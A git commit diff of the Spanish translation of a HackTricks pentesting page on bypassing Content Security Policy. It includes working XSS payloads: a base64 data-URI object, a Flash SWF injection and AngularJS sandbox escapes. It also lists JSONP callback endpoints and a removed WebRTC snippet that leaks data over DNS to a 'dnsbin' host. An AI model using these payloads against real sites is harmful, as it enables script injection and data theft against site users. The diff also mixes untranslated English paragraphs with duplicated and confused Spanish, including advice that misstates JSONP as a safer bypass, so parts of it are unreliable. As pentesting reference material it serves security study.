Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

This commit is contained in:
Translator 2023-08-29 19:08:48 +00:00
parent 8a3d36b19a
commit 5f77a15186

View file

@ -79,7 +79,7 @@ object-src 'none';
* **form-action**: Esta directiva enumera los puntos finales válidos para el envío desde etiquetas.
* **plugin-types**: Define límites en los tipos de mime que una página puede invocar.
* **upgrade-insecure-requests**: Esta directiva instruye a los navegadores a reescribir los esquemas de URL, cambiando HTTP a HTTPS. Esta directiva puede ser útil para sitios web con un gran número de URL antiguas que necesitan ser reescritas.
* **sandbox**: La directiva sandbox habilita un sandbox para el recurso solicitado, similar al atributo sandbox. Aplica restricciones a las acciones de una página, incluyendo la prevención de ventanas emergentes, la prevención de la ejecución de complementos y scripts, y la aplicación de una política de mismo origen.
* **sandbox**: La directiva sandbox permite un sandbox para el recurso solicitado, similar al atributo sandbox. Aplica restricciones a las acciones de una página, incluyendo la prevención de ventanas emergentes, la prevención de la ejecución de complementos y scripts, y la aplicación de una política de mismo origen.
### **Fuentes**
@ -138,7 +138,7 @@ Carga de trabajo funcional:
```yaml
Content-Security-Policy: script-src 'self' ;
```
Cargas de trabajo funcionales:
Cargas útiles funcionales:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -158,33 +158,34 @@ Sin embargo, esta directiva puede ser aprovechada por un atacante para evadir la
El atacante puede aprovechar una vulnerabilidad en el sitio web que permita la carga de archivos y utilizar la directiva `default-src 'self'` para cargar archivos maliciosos desde el mismo origen del sitio web.
Para lograr esto, el atacante puede utilizar una carga de archivos que incluya una URL de origen válida del sitio web en el campo de origen del archivo. De esta manera, la directiva `default-src 'self'` permitirá la carga del archivo malicioso desde el mismo origen del sitio web.
Para llevar a cabo esta técnica de bypass, el atacante debe:
1. Encontrar una vulnerabilidad que permita la carga de archivos en el sitio web.
2. Crear un archivo malicioso que contenga código o contenido dañino.
3. Cargar el archivo malicioso utilizando la directiva `default-src 'self'`.
Al cargar el archivo malicioso desde el mismo origen del sitio web, el atacante puede evadir la restricción de carga de archivos y ejecutar su código o contenido dañino en el sitio web.
#### Ejemplo
Supongamos que el sitio web tiene una función de carga de archivos que permite a los usuarios cargar imágenes. La directiva CSP `default-src 'self'` está implementada para restringir la carga de recursos desde otros orígenes.
Supongamos que un sitio web permite la carga de imágenes de perfil de usuario. El sitio web implementa una CSP con la directiva `default-src 'self'`, lo que significa que solo se pueden cargar recursos desde el mismo origen del sitio web.
El atacante puede cargar un archivo malicioso utilizando una carga de archivos que incluya una URL de origen válida del sitio web en el campo de origen del archivo. Por ejemplo:
Un atacante descubre una vulnerabilidad en la función de carga de imágenes de perfil y logra cargar un archivo malicioso llamado `malicious.jpg`. Aprovechando la directiva `default-src 'self'`, el atacante carga el archivo `malicious.jpg` desde el mismo origen del sitio web.
```html
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" accept="image/*">
<input type="hidden" name="origin" value="https://www.example.com">
<input type="submit" value="Upload">
</form>
```
Cuando un usuario visita el perfil del atacante, el archivo `malicious.jpg` se carga y ejecuta su contenido dañino, lo que puede resultar en la compromisión del sitio web o en la filtración de información confidencial.
En este caso, la directiva `default-src 'self'` permitirá la carga del archivo malicioso desde el mismo origen del sitio web, ya que la URL de origen especificada en el campo oculto coincide con el origen del sitio web.
#### Contramedidas
#### Recomendaciones de Mitigación
Para evitar esta técnica de bypass, se recomienda:
Para evitar esta vulnerabilidad, se recomienda no confiar únicamente en la directiva `default-src 'self'` para restringir la carga de archivos. Es importante implementar controles adicionales, como la validación del tipo de archivo y la desinfección de los archivos cargados, para garantizar la seguridad del sitio web.
Además, se recomienda utilizar directivas CSP más restrictivas y específicas para controlar la carga de recursos desde diferentes orígenes. Por ejemplo, se puede utilizar la directiva `default-src 'none'` para bloquear todos los recursos por defecto y luego permitir explícitamente los recursos necesarios desde orígenes confiables.
- Validar y filtrar adecuadamente los archivos cargados por los usuarios.
- No confiar únicamente en la directiva `default-src 'self'` para restringir la carga de archivos.
- Implementar otras directivas de CSP para limitar aún más los recursos que se pueden cargar.
- Mantener el sitio web actualizado con los últimos parches de seguridad para evitar vulnerabilidades conocidas.
---
**NOTA**: Esta técnica de bypass se proporciona con fines educativos y de concienciación. No se debe utilizar para llevar a cabo actividades ilegales o no autorizadas.
**Nota:** Esta técnica de bypass es solo una de las muchas formas en que se puede evadir una CSP. Es importante comprender y mitigar todas las posibles vulnerabilidades y técnicas de bypass para garantizar la seguridad de un sitio web.
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
@ -222,7 +223,7 @@ Cargar una versión vulnerable de Angular y ejecutar JS arbitrario:
</script>
```
Este código carga una versión vulnerable de AngularJS y ejecuta código JavaScript arbitrario. El controlador `MainController` define una variable `$scope.html` que contiene una imagen con un evento `onerror` que muestra una alerta. Al confiar en el HTML generado, se permite la ejecución del código JavaScript arbitrario.
Este código carga una versión vulnerable de AngularJS y ejecuta JavaScript arbitrario. El controlador `MainController` asigna el valor `'John Doe'` a la variable `$scope.name` y utiliza la función `$sce.trustAsHtml()` para confiar en el HTML proporcionado. En este caso, se inserta una etiqueta `<img>` con un atributo `src` malicioso que ejecutará el código `alert(1)` cuando se produzca un error al cargar la imagen.
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -289,13 +290,21 @@ ng-init="c.init()"
```
### Puntos finales de terceros + JSONP
Cuando un sitio web utiliza una Política de Seguridad de Contenido (CSP) para restringir los recursos que se pueden cargar en una página, es posible que los atacantes intenten evadir estas restricciones utilizando puntos finales de terceros y JSONP.
When a website implements a Content Security Policy (CSP) to restrict the sources from which it can load resources, it may still be vulnerable to bypasses using third-party endpoints and JSONP (JSON with Padding).
JSONP (JSON with Padding) es una técnica que permite solicitar recursos de dominios diferentes al dominio actual mediante la inclusión de un script en la página. Esta técnica se utiliza comúnmente para obtener datos de API de terceros.
Cuando un sitio web implementa una Política de Seguridad de Contenido (CSP) para restringir las fuentes desde las cuales puede cargar recursos, aún puede ser vulnerable a bypasses utilizando puntos finales de terceros y JSONP (JSON con relleno).
Para evadir una CSP utilizando JSONP, el atacante puede buscar puntos finales de terceros que permitan la inclusión de scripts y que no estén restringidos por la política de seguridad del sitio web objetivo. Una vez que se encuentra un punto final adecuado, el atacante puede construir una solicitud JSONP para obtener datos del punto final y ejecutar código malicioso en la página.
JSONP is a technique that allows websites to retrieve data from a different domain by making a request to a third-party endpoint that returns JSON wrapped in a callback function. This technique is commonly used to bypass CSP restrictions because the CSP only applies to resources loaded directly from the website's domain.
Es importante tener en cuenta que el uso de JSONP puede introducir riesgos de seguridad, ya que permite la ejecución de código arbitrario en el contexto del sitio web objetivo. Por lo tanto, es recomendable utilizar otras técnicas más seguras para evadir una CSP, como la inyección de encabezados o la explotación de vulnerabilidades en el sitio web objetivo.
JSONP es una técnica que permite a los sitios web recuperar datos de un dominio diferente haciendo una solicitud a un punto final de terceros que devuelve JSON envuelto en una función de devolución de llamada. Esta técnica se utiliza comúnmente para eludir las restricciones de CSP porque el CSP solo se aplica a los recursos cargados directamente desde el dominio del sitio web.
To bypass CSP using JSONP, an attacker can find a third-party endpoint that returns JSONP and use it to load malicious code into the target website. By injecting the malicious code into the JSONP response, the attacker can execute arbitrary JavaScript code on the target website, bypassing the CSP restrictions.
Para eludir CSP utilizando JSONP, un atacante puede encontrar un punto final de terceros que devuelva JSONP y usarlo para cargar código malicioso en el sitio web objetivo. Al inyectar el código malicioso en la respuesta JSONP, el atacante puede ejecutar código JavaScript arbitrario en el sitio web objetivo, eludiendo las restricciones de CSP.
To prevent JSONP bypasses, it is important to carefully review and restrict the third-party endpoints that the website interacts with. Additionally, consider implementing a strict CSP policy that disallows the use of JSONP or limits the allowed domains for JSONP requests.
Para evitar los bypasses de JSONP, es importante revisar cuidadosamente y restringir los puntos finales de terceros con los que interactúa el sitio web. Además, considere implementar una política de CSP estricta que no permita el uso de JSONP o limite los dominios permitidos para las solicitudes de JSONP.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -311,7 +320,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir la CSP de diferentes sitios web.**
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una redirección abierta** porque si el punto final inicial es confiable, las redirecciones también son confiables.
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una redirección abierta** porque si el punto final inicial es confiable, las redirecciones también lo son.
### Bypass de ruta de carpeta
@ -616,15 +625,12 @@ Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots)
### WebRTC
En varias páginas se puede leer que **WebRTC no verifica la política `connect-src`** del CSP.
En varias páginas puedes leer que **WebRTC no verifica la política `connect-src`** del CSP.
En realidad, puedes *filtrar* información utilizando una *solicitud DNS*. Echa un vistazo a este código:
```javascript
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
Sin embargo, parece que ya no es [posible](https://github.com/w3c/webrtc-nv-use-cases/issues/35) (o al menos no tan fácil).
Si sabes cómo exfiltrar información con WebRTC, [**envía una solicitud de extracción por favor**](https://github.com/carlospolop/hacktricks)
## Verificación de las políticas de CSP en línea
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
@ -654,7 +660,7 @@ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el p
**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en una leyenda de los hackers web3**\
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
@ -667,8 +673,8 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>